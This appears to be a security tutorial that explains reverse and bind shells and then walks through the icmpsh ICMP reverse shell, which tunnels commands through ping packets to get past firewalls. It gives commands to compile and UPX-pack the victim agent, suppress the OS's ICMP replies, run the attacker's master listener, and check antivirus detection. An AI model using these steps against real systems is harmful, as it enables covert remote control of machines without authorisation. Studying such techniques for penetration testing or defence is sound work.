ICMP reverse shell
What are shells?
Shell can simply be described as a piece of code or program which can be used to gain code or command execution on a device (like servers, mobile phones, etc.).
Types of shells
- Reverse shell
- Bind shell
A reverse shell is a type of shell in which the target machine communicates back to the attacking machine. The attacking machine has a listener port on which it receives the connection, which by using, code or command execution is achieved.
Figure 1: Reverse TCP shell
Bind shell is a type of shell in which the target machine opens up a communication port or a listener on the victim machine and waits for an incoming connection. The attacker then connects to the victim machine’s listener which then leads to code or command execution on the server.
Figure 2: Bind TCP shell
There are a number of popular shell files. To name a few: Reverse TCP Meterpreter, C99 PHP web shell, JSP web shell, Netcat, etc. One thing which is common between all these shells is that they all communicate over a TCP protocol.
Imagine a scenario in which communication to and from the server is protected and filtered by a firewall and does not allow TCP shell communication to take place on any listening port (both reverse and bind TCP connection).
Figure 3: Firewall blocks bind & reverse connection
But many environments allow ping requests to be sent and received. Ping requests work on the ICMP protocol.
ICMP stands for Internet Control Message Protocol; it is used by network devices’ query and error messages. ICMP differs from the widely used TCP and UDP protocols because ICMP is not used for transferring data between network devices.
When a device wants to test connectivity to another device, it uses the PING tool (ICMP communication) to send an ECHO REQUEST and waits for an ECHO RESPONSE. Images below show the PING echo request-response communication taking place between two network devices.
Figure 4: Ping echo request
Figure 5: Ping echo response
Looking at the ping echo request and response, we can see that the ping echo request ICMP packet sent by network device A (10.0.0.7) contains 48 bytes of data. Network device B (10.0.0.8) replies with a ping echo response with the same 48 bytes of data. See the image below:
Figure 6: ICMP header format
As you can see, the packet does not contain source and destination port numbers like TCP and UDP header formats. Hence, echo request-response communication is taking place between the network devices, but not over specific port(s).
The above discussion laid down little idea that ICMP communication can be used to contact between two devices using a custom agent running on victim and attacking devices.
The client ICMP agent listens for ICMP packets from a specific host and uses the data in the packet for command execution.
The server ICMP Agent sends ICMP packets to connect to the victim running a custom ICMP agent and sends it commands to execute.
Figure 7: Command execution over ICMP
Nico Leidecker (http://www.leidecker.info/downloads/index.shtml) has been kind enough to build ICMP Shell, which runs on a master-slave model.
Master is the server ICMP agent (attacker) and slave is the client ICMP agent (victim).
At present, the client agent supports Windows platforms only (EXE file) and the client agent can be run on any platform using C, Perl and Python.
ICMP Shell can be found on GitHub here: https://github.com/interference-security/icmpsh.
Note: Forked and modified from https://github.com/inquisb/icmpsh.
“icmp-s.c” is the slave file which is run on victim machine on which remote command execution is to be achieved. This C code, when compiled and executed, asks the user to enter required details as command line arguments.
“icmp-slave-complete.c” is the complete slave file which has hard-coded values of required details so that command line arguments are not needed and the compiled executable can be executed directly.
ICMP Shell requires the following details:
|187||target||IP address of the attacker’s machine|
|189||delay||Delay between requests (milliseconds)|
|191||timeout||Timeout value (milliseconds)|
|195||max_blanks||Maximum unanswered ICMP requests|
|197||max_data_size||Maximum data buffer size in bytes|
It can easily be compiled using MingW on both Linux and Windows. I will be demonstrating how to compile on Linux.
Install MingW and run the following command to compile the C file:
i686-w64-mingw32-gcc icmp-slave-complete.c -o icmp-slave-complete.exe
Figure 8: Compile code and generate Windows executable
Compress the executable using UPX Packer:
upx -9 -v -o icmp-slave-complete-upx.exe icmp-slave-complete.exe
Figure 9: Compress original executable using UPX
There is a 56.69% reduction in file size after compression:
Figure 10: File size difference
Make sure that ICMP replies set by the OS are disabled:
sysctl -w net.ipv4.icmp_echo_ignore_all=1 >/dev/null
Execute the master ICMP Shell Agent:
./icmpsh_m.py <attacker_ip> <target_ip>
./icmpsh_m.py 10.0.0.8 10.0.0.11
After starting the listener on the attacker’s machine, run the ICMP slave agent on the victim’s machine.
Figure 11: Reverse shell on attacking machine over ICMP
Using Wireshark, we can see the communication taking place between the attacker and victim machines.
Initially the packet transmission contains no data:
Figure 12: No data in ICMP packets
When the attacker machine receives a reverse connection from the victim machine, this how the data looks:
Figure 13: Victim connected to attacker machine
Sending a command from the attacker’s machine to the victim’s machine:
Figure 14: Command sent by attacker
Response received from the victim’s machine:
Figure 15: Output of executed command
Note that in the received response above, the output of the command is not complete and the data size is 128 bytes. This is because we had set the data buffer size (max_buffer_size) as 128 bytes in source code. The remaining of the output is set in further sets of 128 bytes ’til it is completed.
Last but not the least is checking the antivirus detection score:
Figure 16: VirusTotal scan result
Most probably the detection ratio hit 2 because of UPX packing.
ICMP Shell is a really good development by Nico Leidecker, and someday, after some more work, it may also become part of the popular Metasploit Framework.